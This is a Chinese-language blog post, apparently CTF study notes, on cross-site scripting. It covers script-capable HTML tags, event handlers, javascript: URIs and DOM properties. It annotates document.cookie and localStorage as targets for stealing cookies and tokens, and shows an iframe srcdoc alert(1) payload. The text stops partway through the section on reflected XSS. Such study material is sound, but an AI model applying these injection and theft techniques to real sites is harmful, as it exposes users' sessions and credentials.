{"id":74,"date":"2026-03-14T22:34:52","date_gmt":"2026-03-14T14:34:52","guid":{"rendered":"http:\/\/47.118.30.30\/?p=74"},"modified":"2026-03-15T11:40:25","modified_gmt":"2026-03-15T03:40:25","slug":"xss","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/14\/xss\/","title":{"rendered":"xss"},"content":{"rendered":"

xss<\/strong><\/h1>\n

https:\/\/ctf.aabyss.cn\/xss-labs\/index.php<\/a><\/p>\n

https:\/\/xz.aliyun.com\/news\/17955<\/a><\/p>\n

https:\/\/blog.csdn.net\/m0_73610345\/article\/details\/155503350<\/a>)<\/p>\n

https:\/\/marblue.pink\/2025\/05\/31\/Web%E5%9F%BA%E7%A1%80-1<\/a><\/p>\n

https:\/\/wilesangh.github.io\/ctf-web\/xss_guide\/#22<\/a><\/p>\n

https:\/\/aszx87410.github.io\/beyond-xss\/ch3\/css-injection\/<\/a><\/p>\n

https:\/\/aszx87410.github.io\/beyond-xss\/ch3\/css-injection-2\/<\/a><\/p>\n

\u539f\u7406\uff1a<\/h2>\n

\u5f53\u5e94\u7528\u7a0b\u5e8f\u5c06\u653b\u51fb\u8005\u63d0\u4ea4\u7684\u6570\u636e\u53d1\u9001\u5230\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u7684\u9875\u9762\u4e2d\uff0c\u4f46\u672a\u7ecf\u8fc7\u9002\u5f53\u7684\u9a8c\u8bc1\u6216\u8f6c\u4e49\u65f6\uff0c\u82e5\u653b\u51fb\u8005\u63d0\u4ea4\u7684\u6570\u636e\u4e2d\u5305\u542b\u6076\u610f\u811a\u672c\uff0c\u90a3\u4e48\u5b83\u4fbf\u4f1a\u5728\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u4e0a\u81ea\u52a8\u6267\u884c<\/p>\n

\u57fa\u672c\u77e5\u8bc6\uff1a\u4e00\u4e9b\u8bed\u6cd5\uff1a<\/h2>\n
javascript\uff1a\nnew Image()\uff1a\u521b\u5efaHTMLImageElement\u5bf9\u8c61\u7684\u7b80\u5199\u65b9\u5f0f\uff0c\u7b49\u4ef7\u4e8e\uff1adocument.createElement('img');\n\nImage\uff1a\u6d4f\u89c8\u5668\u5168\u5c40\u5bf9\u8c61\uff0c\u8c03\u7528new Image()\u4f1a\u521b\u5efa\u4e00\u4e2a\u672a\u63d2\u5165DOM\u7684\u56fe\u7247\u5143\u7d20\u3002\n\n.src = \"URL\"\uff1a\u8bbe\u7f6e\u56fe\u50cf\u7684src\u5c5e\u6027\uff0c\u5373\u8981\u52a0\u8f7d\u7684\u56fe\u7247\u5730\u5740\u3002\u4e00\u65e6\u8bbe\u7f6e src\uff0c\u6d4f\u89c8\u5668\u4f1a\u7acb\u5373\u5411\u8be5 URL \u53d1\u8d77 HTTP GET \u8bf7\u6c42\uff0c\u5c31\u50cf\u9875\u9762\u4e2d\u6709\u4e00\u4e2a <img \nsrc=\"...\"> \u6807\u7b7e\u4e00\u6837\u3002\n\nfetch\uff08\uff09\uff1a\u7528\u4e8e\u53d1\u8d77 HTTP\/HTTPS \u7f51\u7edc\u8bf7\u6c42 \u7684\u6807\u51c6 API\uff0c\u683c\u5f0f\uff1afetch(url, [options])\n\n<script>\u6807\u7b7e\uff1a\n\u6e32\u67d3html\u65f6\uff0c\u82e5\u9047\u5230\u8be5\u6807\u7b7e\uff0c\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u505c\u6b62\u6e32\u67d3\u5e76\u6267\u884c\u6807\u7b7e\u5185\u7684javascript\n\u4f8b\uff1a<script><\/script>\n\n\u53ef\u6267\u884cHTML\u6807\u7b7e\uff1a\n<img>\uff1aHTML\u4e2d\u7684\u56fe\u50cf\u5d4c\u5165\u6807\u7b7e\uff0c\u7528\u4e8e\u5728\u7f51\u9875\u4e2d\u663e\u793a\u56fe\u7247\u3002\u5b83\u662f\u4e00\u4e2a\u81ea\u95ed\u5408\u6807\u7b7e\uff08\u6ca1\u6709\u7ed3\u675f\u6807\u7b7e\uff09\uff0c\u5fc5\u987b\u901a\u8fc7 src \u5c5e\u6027\u6307\u5b9a\u56fe\u7247\u7684 URL\u3002\n\u4f8b\uff1a<img src=\"image.jpg\" alt=\"\u63cf\u8ff0\u6587\u5b57\">\n\n<svg>\uff1aHTML5\u4e2d\u7528\u4e8e\u5b9a\u4e49\u53ef\u7f29\u653e\u77e2\u91cf\u56fe\u5f62\uff08Scalable Vector Graphics\uff09 \u7684\u5bb9\u5668\u6807\u7b7e\u3002\u5b83\u5141\u8bb8\u5728\u7f51\u9875\u4e2d\u5d4c\u5165\u77e2\u91cf\u56fe\u5f62\uff0c\u652f\u6301\u5f62\u72b6\u3001\u8def\u5f84\u3001\u6587\u672c\u3001\u52a8\u753b\u7b49\u3002\n\u4f8b\uff1a<svg width=\"100\" height=\"100\">\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<circle cx=\"50\" cy=\"50\" r=\"40\" fill=\"red\" \/>\n\u00a0\u00a0\u00a0 <\/svg>\n\n<body>\uff1aHTML\u6587\u6863\u7684\u4e3b\u4f53\u90e8\u5206\u6807\u7b7e\uff0c\u5305\u542b\u7f51\u9875\u4e2d\u6240\u6709\u53ef\u89c1\u5185\u5bb9\uff0c\u5982\u6587\u672c\u3001\u56fe\u50cf\u3001\u94fe\u63a5\u3001\u8868\u683c\u7b49\u3002\u6bcf\u4e2aHTML\u9875\u9762\u53ea\u80fd\u6709\u4e00\u4e2a <body> \u6807\u7b7e\u3002\n\u4f8b\uff1a<body>\n     <h1>\u7f51\u9875\u6807\u9898<\/h1>\n     <p>\u6bb5\u843d\u5185\u5bb9<\/p>\n   <\/body>\n\n<iframe>\uff1a\u5185\u8054\u6846\u67b6\u6807\u7b7e\uff0c\u7528\u4e8e\u5728\u5f53\u524d\u7f51\u9875\u4e2d\u5d4c\u5165\u53e6\u4e00\u4e2a\u7f51\u9875\u6216\u6587\u6863\u3002\u5b83\u521b\u5efa\u4e00\u4e2a\u72ec\u7acb\u7684\u6d4f\u89c8\u4e0a\u4e0b\u6587\u3002\n\u4f8b\uff1a<iframe src=\"https:\/\/example.com\" width=\"600\" height=\"400\"><\/iframe>\n\n<a>\uff1a\u8d85\u94fe\u63a5\u6807\u7b7e\uff08anchor\uff09\uff0c\u7528\u4e8e\u521b\u5efa\u53ef\u70b9\u51fb\u7684\u94fe\u63a5\uff0c\u8df3\u8f6c\u5230\u5176\u4ed6\u7f51\u9875\u3001\u9875\u9762\u951a\u70b9\u6216\u6267\u884c\u7279\u5b9a\u534f\u8bae\uff08\u5982 mailto:\uff09\u3002\n\u4f8b\uff1a<a href=\"https:\/\/example.com\">\u8bbf\u95ee\u793a\u4f8b\u7f51\u7ad9<\/a>\n\n<video>\uff1aHTML5 \u4e2d\u7528\u4e8e\u5d4c\u5165\u89c6\u9891\u5185\u5bb9\u7684\u6807\u7b7e\uff0c\u652f\u6301\u64ad\u653e\u3001\u6682\u505c\u3001\u97f3\u91cf\u63a7\u5236\u7b49\u3002\n\u4f8b\uff1a<video src=\"movie.mp4\" controls width=\"640\" height=\"360\"><\/video>\n\n<audio>\uff1aHTML5 \u4e2d\u7528\u4e8e\u5d4c\u5165\u97f3\u9891\u5185\u5bb9\u7684\u6807\u7b7e\uff0c\u7528\u4e8e\u64ad\u653e\u58f0\u97f3\u6587\u4ef6\u3002\n\u4f8b\uff1a<audio src=\"sound.mp3\" controls><\/audio>\n\n<input>\uff1a\u8868\u5355\u8f93\u5165\u63a7\u4ef6\u6807\u7b7e\uff0c\u7528\u4e8e\u521b\u5efa\u6587\u672c\u6846\u3001\u6309\u94ae\u3001\u590d\u9009\u6846\u7b49\u591a\u79cd\u7528\u6237\u8f93\u5165\u7ec4\u4ef6\u3002\u5176\u884c\u4e3a\u7531 type \u5c5e\u6027\u51b3\u5b9a\u3002\n\u4f8b\uff1a<input type=\"text\" name=\"username\" placeholder=\"\u8bf7\u8f93\u5165\u7528\u6237\u540d\">\n\n<textarea>\uff1a\u591a\u884c\u6587\u672c\u8f93\u5165\u6846\u6807\u7b7e\uff0c\u7528\u4e8e\u8ba9\u7528\u6237\u8f93\u5165\u8f83\u957f\u7684\u6587\u672c\u5185\u5bb9\u3002\n\u4f8b\uff1a<textarea name=\"comment\" rows=\"4\" cols=\"50\">\u9ed8\u8ba4\u5185\u5bb9<\/textarea>\n\n<details>\uff1aHTML5 \u4e2d\u7528\u4e8e\u521b\u5efa\u53ef\u6298\u53e0\/\u5c55\u5f00\u7684\u5185\u5bb9\u533a\u5757\u7684\u6807\u7b7e\uff0c\u901a\u5e38\u4e0e <summary> \u914d\u5408\u4f7f\u7528\u3002\n\u4f8b\uff1a<details>\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <summary>\u70b9\u51fb\u5c55\u5f00<\/summary>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  <p>\u8fd9\u91cc\u662f\u9690\u85cf\u7684\u5185\u5bb9\u3002<\/p>\n\u00a0\u00a0\u00a0<\/details>\n\n<embed>\uff1a\u7528\u4e8e\u5d4c\u5165\u5916\u90e8\u5185\u5bb9\uff08\u5982\u63d2\u4ef6\u5185\u5bb9\u3001PDF\u3001Flash \u7b49\uff09\u7684\u6807\u7b7e\uff0c\u662f\u4e00\u4e2a\u901a\u7528\u5d4c\u5165\u5bb9\u5668\u3002\n\u4f8b\uff1a<embed src=\"document.pdf\" type=\"application\/pdf\" width=\"600\" height=\"500\">\n\n<object>\uff1a\u7528\u4e8e\u5d4c\u5165\u5916\u90e8\u8d44\u6e90\uff08\u5982\u56fe\u50cf\u3001PDF\u3001Java applet\u3001Flash \u7b49\uff09\u7684\u6807\u7b7e\uff0c\u6bd4 <embed> \u66f4\u6807\u51c6\u5316\uff0c\u53ef\u63d0\u4f9b\u5907\u7528\u5185\u5bb9\u3002\n\u4f8b\uff1a<object data=\"animation.swf\" type=\"application\/x-shockwave-flash\">\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <p>\u60a8\u7684\u6d4f\u89c8\u5668\u4e0d\u652f\u6301 Flash\u3002<\/p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n   <\/object>\n\n<form>\uff1a\u8868\u5355\u5bb9\u5668\u6807\u7b7e\uff0c\u7528\u4e8e\u5c06\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u63d0\u4ea4\u5230\u670d\u52a1\u5668\u3002\u5b83\u5305\u542b\u5404\u79cd\u8f93\u5165\u63a7\u4ef6\uff08\u5982 <input>, <textarea>\uff09\u3002\n\u4f8b\uff1a<form action=\"\/submit\" method=\"post\">\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <input type=\"text\" name=\"name\">\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  <button type=\"submit\">\u63d0\u4ea4<\/button>\n   <\/form>\n\n<math>\uff1aMathML\uff08\u6570\u5b66\u6807\u8bb0\u8bed\u8a00\uff09 \u7684\u6839\u6807\u7b7e\uff0c\u7528\u4e8e\u5728\u7f51\u9875\u4e2d\u7cbe\u786e\u663e\u793a\u6570\u5b66\u516c\u5f0f\u3002\u5b83\u662f XML \u7684\u4e00\u79cd\u5e94\u7528\u3002\n\u4f8b\uff1a<math>\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <mi>x<\/mi>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  <mo>=<\/mo>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<mfrac>\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<mrow><mo>-<\/mo><mi>b<\/mi><\/mrow>\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<mrow><mn>2<\/mn><mi>a<\/mi><\/mrow>\n  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/mfrac>\n\u00a0\u00a0\u00a0<\/math>\n\n<select>:HTML\u4e2d\u7528\u4e8e\u521b\u5efa\u4e0b\u62c9\u9009\u62e9\u83dc\u5355\uff08\u4e0b\u62c9\u5217\u8868\uff09\u7684\u8868\u5355\u63a7\u4ef6\u6807\u7b7e\u3002\u5b83\u5141\u8bb8\u7528\u6237\u4ece\u4e00\u7ec4\u9884\u5b9a\u4e49\u7684\u9009\u9879\u4e2d\u9009\u62e9\u4e00\u4e2a\u6216\u591a\u4e2a\u503c\uff0c\u5fc5\u987b\u4e0e <option> \u6807\u7b7e\u914d\u5408\u4f7f\u7528  \n        \uff08<option> \u5b9a\u4e49\u6bcf\u4e2a\u53ef\u9009\u9879\uff09\n\u4f8b\uff1a<select name=\"\u5b57\u6bb5\u540d\">\n       <option value=\"\u503c1\">\u663e\u793a\u6587\u672c1<\/option>\n       <option value=\"\u503c2\">\u663e\u793a\u6587\u672c2<\/option>\n       <option value=\"\u503c3\" selected>\u663e\u793a\u6587\u672c3\uff08\u9ed8\u8ba4\u9009\u4e2d\uff09<\/option>\n    <\/select>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\n<base>:HTML \u4e2d\u7528\u4e8e\u4e3a\u9875\u9762\u4e2d\u6240\u6709\u76f8\u5bf9 URL \u6307\u5b9a\u57fa\u51c6 URL \u7684\u5143\u4fe1\u606f\u6807\u7b7e\u3002\u5b83\u5fc5\u987b\u653e\u5728 <head> \u533a\u57df\u4e2d\uff0c\u4e14\u6574\u4e2a\u9875\u9762\u53ea\u80fd\u6709\u4e00\u4e2a <base> \u6807\u7b7e\u3002\n\u4f8b\uff1a<head>\n       <base href=\"https:\/\/example.com\/static\/\">\n   <\/head>\n\n\u4e8b\u4ef6\u5904\u7406\u5668\uff1a\u662f HTML \u5143\u7d20\u4e2d\u7528\u4e8e\u54cd\u5e94\u7528\u6237\u64cd\u4f5c\u6216\u6d4f\u89c8\u5668\u884c\u4e3a\u7684\u5c5e\u6027\u3002\u5f53\u7279\u5b9a\u4e8b\u4ef6\uff08\u5982\u70b9\u51fb\u3001\u52a0\u8f7d\u3001\u952e\u76d8\u8f93\u5165\u7b49\uff09\u53d1\u751f\u65f6\uff0c\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u6267\u884c\u8be5\u5c5e\u6027\u4e2d\u6307\u5b9a\u7684 JavaScript \u4ee3\u7801\u3002\n\nonload\n   \u89e6\u53d1\u65f6\u673a\uff1a\u5143\u7d20\uff08\u5982\u56fe\u7247\u3001\u811a\u672c\u3001\u7a97\u53e3\uff09\u52a0\u8f7d\u5b8c\u6210\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a<body>, <img>, <script>, <iframe>, <link>, <svg> \u7b49\n\nonerror\n   \u89e6\u53d1\u65f6\u673a\uff1a\u5143\u7d20\u52a0\u8f7d\u5931\u8d25\u65f6\uff08\u5982\u56fe\u7247 URL \u65e0\u6548\uff09\n   \u9002\u7528\u5143\u7d20\uff1a<img>, <video>, <audio>, <object>, <script>, <link> \u7b49\n\nonclick\n   \u89e6\u53d1\u65f6\u673a\uff1a\u7528\u6237\u7528\u9f20\u6807\u70b9\u51fb\u8be5\u5143\u7d20\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a\u51e0\u4e4e\u6240\u6709\u53ef\u4ea4\u4e92\u5143\u7d20\uff08<div>, <button>, <a>, <input> \u7b49\uff09\n\nonmouseover\n   \u89e6\u53d1\u65f6\u673a\uff1a\u7528\u6237\u5c06\u9f20\u6807\u6307\u9488\u79fb\u52a8\u5230\u5143\u7d20\u4e0a\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a\u6240\u6709\u53ef\u89c1\u5143\u7d20\n\nonmouseout\n   \u89e6\u53d1\u65f6\u673a\uff1a\u7528\u6237\u5c06\u9f20\u6807\u6307\u9488\u79fb\u51fa\u5143\u7d20\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a\u6240\u6709\u53ef\u89c1\u5143\u7d20\n\nonfocus\n   \u89e6\u53d1\u65f6\u673a\uff1a\u5143\u7d20\u83b7\u5f97\u7126\u70b9\u65f6\uff08\u5982\u7528\u6237\u70b9\u51fb\u8f93\u5165\u6846\u6216\u6309 Tab \u952e\u8fdb\u5165\uff09\n   \u9002\u7528\u5143\u7d20\uff1a<input>, <textarea>, <select>, <button> \u7b49\u53ef\u805a\u7126\u5143\u7d20\n\nonblur\n   \u89e6\u53d1\u65f6\u673a\uff1a\u5143\u7d20\u5931\u53bb\u7126\u70b9\u65f6\uff08\u5982\u7528\u6237\u70b9\u51fb\u9875\u9762\u5176\u4ed6\u4f4d\u7f6e\uff09\n   \u9002\u7528\u5143\u7d20\uff1a\u53ef\u805a\u7126\u5143\u7d20\n\nonkeydown\n   \u89e6\u53d1\u65f6\u673a\uff1a\u7528\u6237\u6309\u4e0b\u952e\u76d8\u4e0a\u7684\u67d0\u4e2a\u952e\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a<body> \u6216\u4efb\u4f55\u53ef\u83b7\u5f97\u7126\u70b9\u7684\u5143\u7d20\n\nonkeyup\n   \u89e6\u53d1\u65f6\u673a\uff1a\u7528\u6237\u91ca\u653e\u952e\u76d8\u4e0a\u7684\u67d0\u4e2a\u952e\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a\u540c\u4e0a\n\nonchange\n   \u89e6\u53d1\u65f6\u673a\uff1a\u5143\u7d20\u7684\u503c\u53d1\u751f\u6539\u53d8\u5e76\u5931\u53bb\u7126\u70b9\u65f6\uff08\u5982\u9009\u62e9\u4e0b\u62c9\u9009\u9879\u540e\uff09\n   \u9002\u7528\u5143\u7d20\uff1a<input>, <select>, <textarea>\n\nonsubmit\n   \u89e6\u53d1\u65f6\u673a\uff1a\u8868\u5355\u88ab\u63d0\u4ea4\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a<form>\n\nonreset\n   \u89e6\u53d1\u65f6\u673a\uff1a\u8868\u5355\u91cd\u7f6e\u6309\u94ae\u88ab\u70b9\u51fb\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a<form>\n\nonscroll\n   \u89e6\u53d1\u65f6\u673a\uff1a\u5143\u7d20\u6216\u7a97\u53e3\u53d1\u751f\u6eda\u52a8\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a<body>, \u4efb\u4f55\u53ef\u6eda\u52a8\u5bb9\u5668\n\nonresize\n   \u89e6\u53d1\u65f6\u673a\uff1a\u7a97\u53e3\u6216\u6846\u67b6\u88ab\u8c03\u6574\u5927\u5c0f\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a<body>, <frameset>\n\nontoggle\n   \u89e6\u53d1\u65f6\u673a\uff1a<details> \u5143\u7d20\u7684\u5c55\u5f00\u6216\u6298\u53e0\u72b6\u6001\u53d1\u751f\u53d8\u5316\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a<details>\n\noncontextmenu\n   \u89e6\u53d1\u65f6\u673a\uff1a\u7528\u6237\u53f3\u952e\u70b9\u51fb\u5143\u7d20\u4ee5\u6253\u5f00\u4e0a\u4e0b\u6587\u83dc\u5355\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a\u6240\u6709\u5143\u7d20\n\nondrag \/ ondrop \u7cfb\u5217\n   \u89e6\u53d1\u65f6\u673a\uff1a\u7528\u6237\u8fdb\u884c\u62d6\u653e\u64cd\u4f5c\u65f6\n   \u9002\u7528\u5143\u7d20\uff1a\u4efb\u4f55\u53ef\u62d6\u52a8\u6216\u53ef\u653e\u7f6e\u7684\u5143\u7d20\n\nJavaScript\u4f2a\u534f\u8bae\uff08javascript: URI scheme\uff09\uff1a\u4e00\u79cd\u7279\u6b8a\u7684 URL \u534f\u8bae\uff0c\u7528\u4e8e\u5728\u652f\u6301\u7684\u4e0a\u4e0b\u6587\u4e2d\u76f4\u63a5\u6267\u884c JavaScript \u4ee3\u7801\u3002\n\u5f53\u6d4f\u89c8\u5668\u9047\u5230\u4e00\u4e2a javascript: URI \u65f6\uff1a\n    1\uff1a\u89e3\u6790 URI\uff0c\u63d0\u53d6 : \u540e\u7684 JavaScript \u4ee3\u7801\u5b57\u7b26\u4e32\n    2\uff1a\u5728\u5f53\u524d\u9875\u9762\u7684\u4e0a\u4e0b\u6587\uff08origin\uff09\u4e2d\uff0c\u5c06\u8be5\u5b57\u7b26\u4e32\u4f5c\u4e3a JavaScript \u4ee3\u7801\u6267\u884c\n    3\uff1a\u8fd4\u56de\u4ee3\u7801\u7684\u6267\u884c\u7ed3\u679c\uff1a\n    4\uff1a\u5982\u679c\u8fd4\u56de\u503c\u662f \u5b57\u7b26\u4e32\uff0c\u6d4f\u89c8\u5668\u4f1a\u7528\u8be5\u5b57\u7b26\u4e32\u66ff\u6362\u5f53\u524d\u9875\u9762\u7684\u5168\u90e8\u5185\u5bb9\n       \u5982\u679c\u8fd4\u56de\u503c\u662f undefined\u3001null\u3001void(0) \u6216\u65e0\u8fd4\u56de\u503c\uff0c\u9875\u9762\u4fdd\u6301\u4e0d\u53d8\n\u4f8b\uff1a<a href=\"javascript:alert('Hello')\">\u70b9\u51fb<\/a>\n\u652f\u6301 javascript:\u7684html\u5c5e\u6027\uff1a<a href>\uff0c<iframe src>\uff0cwindow.location\uff0cwindow.open()\n\/\/location.href = 'javascript:...' \u6709\u6548\n\/\/window.open('javascript:...') \u6709\u6548\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\nDOM\uff1aHTML\/XML \u6587\u6863\u7684\u7f16\u7a0b\u63a5\u53e3\uff08API\uff09\u3002\u5b83\u5c06\u6574\u4e2a\u7f51\u9875\u8868\u793a\u4e3a\u4e00\u4e2a\u7531\u8282\u70b9\uff08Node\uff09\u7ec4\u6210\u7684\u6811\u5f62\u7ed3\u6784\uff0cJavaScript \u53ef\u4ee5\u901a\u8fc7 DOM API \u52a8\u6001\u8bbf\u95ee\u548c\u64cd\u4f5c\u8fd9\u4e9b\u8282   \n     \u70b9\u3002\n\u00a0\u00a0\u00a0document.cookie\uff1a\u7a83\u53d6 Cookie\n\n\u00a0\u00a0\u00a0localStorage\uff1a\u7a83\u53d6 Token\n\n\u00a0\u00a0\u00a0location.href\uff1a\u83b7\u53d6\u5f53\u524d URL\n\n   location.hash\uff1a\u83b7\u53d6 # \u540e\u5185\u5bb9\uff08\u5305\u62ec#\uff09\n\n   location.search\uff1a\u8fd4\u56deURL\u4e2d?\u4e4b\u540e\u7684\u90e8\u5206\uff08\u5305\u62ec?\uff09\n\n   document.referrer\uff1a\u83b7\u53d6\u6765\u6e90\u9875\n\n   window.name\uff1a\u8de8\u9875\u9762\u4f20\u9012\u6570\u636e\n\n   document.forms\uff1a\u83b7\u53d6\u6240\u6709\u8868\u5355\n\n   document.scripts\uff1a\u83b7\u53d6\u6240\u6709\u811a\u672c\n\n   document.write\uff08\uff09\uff1a\u7528\u4e8e\u5c06\u5b57\u7b26\u4e32\u5199\u5165\u5230\u5f53\u524d HTML \u6587\u6863\u6d41\u4e2d\u3002\n\n\u00a0\u00a0\u00a0document.location\uff1a\u83b7\u53d6\u6216\u8bbe\u7f6e\u5f53\u524d\u9875\u9762\u7684 URL\u3002\u5b83\u5b9e\u9645\u4e0a\u662f window.location \u7684\u4e00\u4e2a\u522b\u540d\uff0c\u56e0\u6b64\u5728\u529f\u80fd\u4e0a\u4e0e window.location \u5b8c\u5168\u76f8\u540c\u3002\n\n\u00a0\u00a0\u00a0document.URL\uff1a\u7528\u4e8e\u83b7\u53d6\u5f53\u524d\u9875\u9762\u7684\u5b8c\u6574 URL \u5b57\u7b26\u4e32\u3002\n\n\u00a0\u00a0\u00a0document.URLUnencoded\uff1a\u7528\u4e8e\u8fd4\u56de\u672a\u7ecf\u8fc7 URL \u7f16\u7801\u7684\u6587\u6863\u5730\u5740\u3002\uff08\u5341\u5206\u8001\u65e7\uff0c\u4e14\u4e0d\u662f\u5f88\u89c4\u8303\uff0c\u4e0d\u4e00\u5b9a\u5b58\u5728\uff09\n\n\u00a0\u00a0\u00a0document.writeln()\uff1a\u7528\u4e8e\u5411 HTML \u6587\u6863\u8f93\u51fa\u5185\u5bb9\u7684\u65b9\u6cd5\uff0c\u5b83\u4f1a\u5728\u8f93\u51fa\u7684\u672b\u5c3e\u81ea\u52a8\u6dfb\u52a0\u4e00\u4e2a\u6362\u884c\u7b26\uff08n\uff09\u3002\n\n   document.body.innerHTML\uff1a\u7528\u4e8e\u83b7\u53d6\u6216\u8bbe\u7f6e HTML \u6587\u6863 <body> \u5143\u7d20\u5185\u7684\u6240\u6709 HTML \u5185\u5bb9\uff08\u4e0d\u5305\u62ec <body> \u6807\u7b7e\u672c\u8eab\uff09\u3002\n\u00a0\u00a0\u00a0\/\/\u901a\u8fc7 innerHTML \u63d2\u5165\u7684 <script> \u6807\u7b7e\u9ed8\u8ba4\u4e0d\u4f1a\u6267\u884c, \u4f46iframe \u7684 srcdoc \u5c6c\u6027\u53ef\u4ee5\u653e\u5165\u5b8c\u6574\u7684 HTML\uff0c\u53ef\u4ee5\u60f3\u6210\u662f\u5efa\u7acb\u4e00\u500b\u5168\u65b0\u7684\u7db2\u9801\uff0c\u56e0\u6b64\u539f\u672c\u6c92\n   \/\/\u7528\u7684 <script> \u6a19\u7c64\u653e\u5728\u9019\u908a\u5c31\u6709\u7528\u4e86\uff0c\u800c\u4e14\u56e0\u70ba\u662f\u5c6c\u6027\uff0c\u6240\u4ee5\u5167\u5bb9\u53ef\u4ee5\u5148\u505a\u7de8\u78bc\u00a0\u00a0\n   \/\/document.body.innerHTML = '<iframe srcdoc=\"<script>alert(1)<\/script>\"><\/iframe>'\u00a0\u00a0\u00a0\u00a0\n\n\u00a0\u00a0\u00a0eval()\uff1a\u7528\u4e8e\u5c06\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u5f53\u4f5c JavaScript \u4ee3\u7801\u8fdb\u884c\u89e3\u6790\u548c\u6267\u884c\u3002\n\n\u00a0\u00a0\u00a0window.execScript()\uff1a\u7528\u4e8e\u6267\u884c\u6307\u5b9a\u7684\u811a\u672c\u4ee3\u7801\u3002       \/\/ window.execScript(\"alert('Hello from IE!');\", \"JavaScript\");\n\n\u00a0\u00a0\u00a0window.setInterval()\uff1a\u7528\u4e8e\u91cd\u590d\u6267\u884c\u67d0\u4e2a\u51fd\u6570\u6216\u4ee3\u7801\u7247\u6bb5\u7684\u5b9a\u65f6\u5668\u65b9\u6cd5\uff0c\u6bcf\u9694\u6307\u5b9a\u7684\u6beb\u79d2\u6570\u6267\u884c\u4e00\u6b21\uff0c\u76f4\u5230\u88ab\u624b\u52a8\u6e05\u9664\u6216\u9875\u9762\u5173\u95ed\u3002\n   \/\/let intervalID = setInterval(function[, delay, arg1, arg2, ...]);\n   \/\/let intervalID = setInterval(codeString, delay);\n\n   window.setTimeout()\uff1a\u4f1a\u5728\u6307\u5b9a\u7684\u6beb\u79d2\u6570\u540e\u6267\u884c\u4e00\u6b21\u8be5\u4ee3\u7801\uff0c\u7136\u540e\u81ea\u52a8\u7ed3\u675f\u3002\u53ef\u8ddf\u4e0a\u9762\u7684\u914d\u5957\u98df\u7528\uff0c\u505c\u6b62\u8ba1\u65f6\u5668   \n   \/\/let timeoutID = setTimeout(function[, delay, arg1, arg2, ...]);\n   \/\/let timeoutID = setTimeout(codeString, delay);<\/code><\/pre>\n
xss\u7684\u7c7b\u578b\uff1a<\/h2>\n
\u53cd\u5c04\u578b XSS\uff08Reflected XSS\uff09\uff1a<\/h6>\n
\u00a0\u00a0\u00a0\u00a0\u539f\u7406\uff1a\u00a0\u53cd\u5c04\u578b XSS \u591a\u51fa\u73b0\u5728\u641c\u7d22\u6846\u3001\u767b\u5f55\u9875\u9762\u7b49\u7528\u6237\u8f93\u5165\u5185\u5bb9\u4f1a\u88ab\u7acb\u5373\u56de\u663e\u7684\u4f4d\u7f6e\u3002\u653b\u51fb\u8005\u5c06\u6076\u610f\u811a\u672c\u6ce8\u5165\u5230 URL \u4e2d\uff0c\u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u7279\u5b9a\u94fe\u63a5\uff0c\u4ece\u800c\u89e6<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u53d1\u811a\u672c\u6267\u884c\u3002<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u6761\u4ef6\uff1a<\/p>\n
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\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a02\uff1a\u76ee\u6807\u7f51\u7ad9\u5b58\u5728\u53cd\u5c04\u578b XSS \u6f0f\u6d1e\uff0c\u5e76\u5728\u9875\u9762\u4e2d\u56de\u663e\u4e86\u672a\u8f6c\u4e49\u7684\u7528\u6237\u8f93\u5165\u3002<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u7279\u70b9\uff1a<\/p>\n
